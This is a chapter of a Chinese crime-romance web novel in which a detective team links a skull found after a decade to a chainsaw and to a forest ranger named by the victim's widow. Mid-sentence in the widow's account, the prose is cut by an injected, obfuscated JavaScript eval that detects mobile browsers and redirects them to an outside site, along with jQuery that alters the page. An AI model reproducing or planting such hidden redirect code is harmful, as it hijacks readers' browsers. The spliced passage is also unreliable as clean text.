咚、咚、咚。
办公室的门被人从外头敲响,发出几声沉闷的钝击声。
靳樾闻声,徐徐抬眼,办公室的门敞开着,参厘正站在门框边,一只手还维持着叩门的姿势,另一只手则拎了个牛皮纸袋,她今天穿了件碧蓝色的衬衫,里面是件纯白色的背心,领口落在锁骨下沿,衬得脖颈线条格外修长。
参厘站在门边,探着脑袋往里望了一圈,“方便进来吗?”
“进。”靳樾望着她,薄唇微启,视线不自觉地往下顺移,最终停在她手里那个鼓鼓囊囊的纸袋上,他向后靠着椅背,轻声问:“手里提的什么?”
得了应允,参厘抬着步子走进去,“见你没来领下午茶,所以亲自给你送过来了。”
说完,牛皮纸袋被她一把搁在跟前的桌面上,发出一声沉闷的轻响,袋口敞开着,散发出淡淡的焦香。
靳樾探了一眼,见里面不仅放着杯咖啡,还有一份用透明包装盒打包好的新鲜果切。
参厘见他一直盯着袋子,于是多说了一句,“我记得你不爱吃甜品,就给换成了水果。”
听到这话,靳樾眉梢松动,似乎很意外,到了今天,她还会体贴地注意到这些细枝末节。他静静地注视着她,今日天朗气清,室外阳光融暖,从窗户透进来的光落在他锋峻的脸上,意外将他的瞳目趁得无比的温柔,“谢谢。”
参厘拉开他对面的椅子坐下,目光随意地扫过桌面,瞥见一份尸检报告,白纸黑字之间夹着一张彩色的照片,上面印着一张烧焦了的头骨,画面看起来尤为可怖。
参厘的目光刚凑过去,靳樾就已经眼疾手快地将上面的照片严严实实的挡住,她愣了瞬,抬起眼看他,纤密的睫毛颤了下,带着几分不解:“我看机密了?”
“不是。”靳樾将文件翻转过去扣在桌面上,温声解释:“尸检照片有什么好看的,看了小心做噩梦。”
这话一出,参厘嘴角微弯,眼底漾开一抹细碎的光,她坐在办公桌对面,歪着头,语气带着一丝漫不经心地反问:“我在你眼前胆子就这么小。”
靳樾不置可否,没接这话茬,脑海里却不禁想起,她曾被一只蜘蛛吓得花容失色。
他不答反问:“这几天在这拍戏还顺利吗?”
“嗯。”参厘如实说道:“警局领导安排的指导人员很尽职,全靠他的认真负责,明天在这的所有的戏份就都结束了。”
“这么快。”靳樾微哑,这几天他帮着化工厂的案子,只有闲暇时间能关注到剧组,倒是没想到他们的拍摄进度这么迅速,“之后呢,要去哪?”
参厘回:“祈县。”
听到这个地名,靳樾脑子里迅速匹配到它所在的方位,他眉梢微拧:“这地很偏,怎么要去那。”
“偏僻的地方,中老年人受教育的程度普遍较低,骗子也更会利用这一点来进行诈骗。剧组也是为了贴合现实,所以找了个偏远的乡镇取景。”
靳樾点点头,正要说什么,门外又响起一阵敲门声,参厘回过头,门口站着一个年轻的小姑娘,穿着灰色的针织衫,鼻梁上架着一副银色眼镜,头发干净利落地挽在脑后。
办公室的门开着,林之夏也没想到里面坐着人,还是正在剧组拍戏的大明星,她怔了数秒,很快反应过来,“不方便的话,我稍后再来。”
参厘看着她手上握着的文件,明白她这是过来找靳樾聊工作,于是主动说,“不用了,我这就走了,你们有事先聊。”
话落,靳樾的眼神顷刻落在参厘脸上,她脸上的表情很淡,看不出什么情绪,说着作势就要起身,靳樾也跟着站起来,开口引荐,“这是我们局里的法医。”
参厘听了,礼貌地冲对方点了点头,算是一种无声的招呼,随后将办公室的空间腾给两人。
在参厘从她身旁路过时,林之夏回了她一个微笑,随后抱着文件走了进去,她刚想开口陈述,就瞧见靳樾心不在焉地盯着参厘远走的背影,她没忍住,伸手在他面前晃了晃,“人都走了,你还看。”
靳樾收回视线,在她脸上不咸不淡地落下一眼。
这眼神看得林之夏心虚,她指了指门口的方向:“我打扰到你们了?不然我现在就走,帮你把人叫回来。”
靳樾面无表情,“你最好是有天大的事。”
“火气这么大,”林之夏小声嘀咕,视线瞥到他桌上的咖啡,摇着头揶揄道:“靳队你不应该喝咖啡啊,应该泡杯菊花茶才是。”
靳樾没有理会她的打趣,沉着声问:“行了,有事说事。”
话题转到正道上,林之夏也收起了玩笑的神色,严肃了起来,“之前的那份报告上,我分析死者的头颅是被一种锯齿类的工具给割断的,这几天我反复研究断面的痕迹,觉得很像一种农用工具。”
“是什么。”
林之夏抬起眼,一字一顿:“伐木工所用的电锯。”
办公室安静了瞬,靳樾拿起照片仔细端详,说:“你的意思是,死者的脑袋是被人用电锯锯断的。”
林之夏:“八九不离十。”
——
第二天,接到警方电话的赵静兰急匆匆地赶到警局。
本以为要面对的是一副齐全的全尸,起码是个囫囵的人,但听完周扬的转述时,她整个人如遭雷劈,脸上的血色褪地干干净净,声音发颤:“你说什么?头骨,就一颗头骨,那剩下来的身子呢,你们凭什么说这人是我的老公。”
周扬递给她一杯温水:“赵女士,我理解您的心情,但请您相信,我们提取了他骨头里的DNA,通过技术鉴定,百分百确定,这颗头骨就是你老公的。”
一听警察这么说,赵静兰脸上的表情几经变换,从一开始的震惊、难以置信,到面如死灰的接受,丈夫消失十来年,她早就做好了最坏的打算,且不说他原本就是个该死的,可现在听到他的死状,她还是忍不住胃里一阵抽搐,随后那双无神的双眼忽地亮了起来,她激动道:“是他,肯定是他,警察同志,我知道凶手是谁。”
这话一出,在坐的几人纷纷来了精神,罗睿双手搭在桌沿,身体前倾,顺着她的话问下去,“你说的那个他,是谁?”
赵静兰塌着肩膀坐在椅子上,两只手搁在膝盖上,手指用力地绞在一起,眼珠子仓惶地转了一圈。
靳樾沉静地观察这个女人的反应,等了几秒,见她不说话,他才缓缓开口,“你丈夫现在这种情况,尸体被严重的损害,又腐坏地只剩下了白骨,死因至少在十年以上,如果真要查,警方也一定能抓到真凶,只是时间的问题。”
他语气顿了下,目光径直落在赵静兰的脸上,“只不过,作为他的妻子,你知道的一定比我们掌握的多,所以我希望你能把你知道的尽可能提供给警方,这对破案至关重要。”
听完这番言辞恳切的话,赵静兰垂着眼睛沉默了好一会,才慢吞吞的开口,“是、冯建生,一定是他。”
罗睿正色:“为什么这么肯定。”
提起这个人,赵静兰忽然激动道,眼珠子因为害怕而瞪圆了:“警察同志,你们要真相信我,就去查他,他是最恨我老公的人了,除了他没有别人。”
“恨?”靳樾拿捏着这个字,乘胜追击地问道:“他们之间有什么恩怨吗?”
问起这个,赵静兰的面色忽然变得很不好:“这个...”
这事说来也是一桩丑事,不过过了这么多年,她心里也释然了,只是一想起来,还是觉得跟咽了苍蝇一下恶心。
赵静兰深吸了口气,从记忆里翻出一桩陈年旧事:“化工厂还没停工之前,我老公是车间的工人,你们也知道,那厂子建得偏,很多工人为了图方便都是直接住在宿舍,他平时也不回家,只有周末才会回来一次。但有段
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494466|202407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时间,他忽然变得很忙,改成了半个月才回家一次。我问过他,他只说要加班,这样才能多赚点钱养孩子。”
“我虽然心里存疑,但也没真的发现什么。直到后面,厂里有人发现他和冯建生的老婆在外面乱搞。这事捅到冯建生那,他提着把刀就去厂里闹了,扬言要弄死他,不过幸好有人拦着,当天才没发生意外。我也不清楚他们后面有没有断,化工厂出事后,他失了业,整日就待着家中,也不出去务工,游手好闲的。我一个人忙着赚钱养家,压根没心思管他,就这样又过了两三个月,他老是问我要钱,说要出去打牌,我不给,他就动手直接抢。”
“那天下了暴雨,我提前回到家,发现家里放着钱的盒子被撬开了,里面的一千多钱都不见了,我心里一凉,还以为是遭贼了,连忙给我老公打去电话,但拨通之后....”
说到这,赵静兰的脸上浮现出一丝忿然,“是几句女的叫声,我当时整个人都呆住了,就这样握着手机听了快两分多钟才匆忙挂断。”
“从那天夜里起,他就不见了。”赵静兰的声音低了下去:“我去附近的酒店找了个遍,都没查到他的开房记录。我找不到人,只能去警局报了失踪。事后,我去找过冯建生,不过他这人吧,面相不好,右脸上有道疤,说起话来特别凶,骂我男人不见了找他有什么用,兴许是缺德事干多了,遭报应了。”
靳樾沉默了几秒,“你老公失踪后,冯建生的老婆呢,你后来有见过她吗?”
说到这,赵静兰摇了摇头,“我不认识他老婆,我老公和她之间的事都是工厂的人说给我听的,我虽然也去找过她,可人家压根不出来见我。”
说到这,她又像想起什么似的,“不过那天我去找冯建生,倒是没在他家中见到他老婆,后来嘛,也就没机会再见了,冯建生是个守林人,一年365天,他有360天住在山上的小木屋里,平时也没人注意他,有人说他把老婆也带到了山里,但具体的,我也不清楚。”
靳樾从这段话里捕捉到了一丝关键信息,他再次确认:“你是说冯建生是个守林人。”
“是啊。”
这就说的通了,林之夏分析凶手的作案工具是伐木用的电锯,而冯建生的工作性质极有可能接触到电锯。
罗睿做完笔录,抬起头:“行,感谢你提供的这些线索,之后案情有了进一步的发展,我们会随时联系你。”
“警察同志,你们可得尽快抓到凶手啊,我老公是做错了事,可他死得也太惨了。”赵静兰说着说着,开始流泪。
周睿:“放心,我们一定让案子尽早真相大白。”
有了赵静兰提供的信息,他们顺藤摸瓜很快就查到了冯建生,案情发展到现在,总算有了一丝关于嫌疑人的信息。
这段时间,队里为了查破这桩案子,连着加了好几天班,恰逢今日剧组请客,靳樾大手一挥,直接让他们几人按时下班。
周扬兴奋地不行,“终于可以休息一晚,睡个好觉了。”
罗睿收拾着东西,“是啊,还能去蹭顿好吃的,多好啊。”
张青福起身:“你们和靳队一块去吧,我就不去凑热闹了。”
“别啊,老张。”周扬靠过来,勾着他的脖子,“大好的机会干嘛不去,你又擅自脱离队伍。”
张青福笑了笑,抬手拍了下他的手背,“好不容易下个早班,我当然要回去陪我女儿啦,饭嘛,不吃也行。”
罗睿叉着腰,叹了口气,“得,你不去,靳队也不去。”
一听这话,周扬瞬间炸了,“老张不去还情有可原,要回家陪孩子,队长又没老婆又没孩子的,怎么也闹这一出。”
“谁知道他呢。”罗睿耸了耸肩,考虑到人还在办公室,只好低声说,“我估计是因为参厘也不去。”
闻言,罗扬二次炸毛,“什么!!参厘也不去。”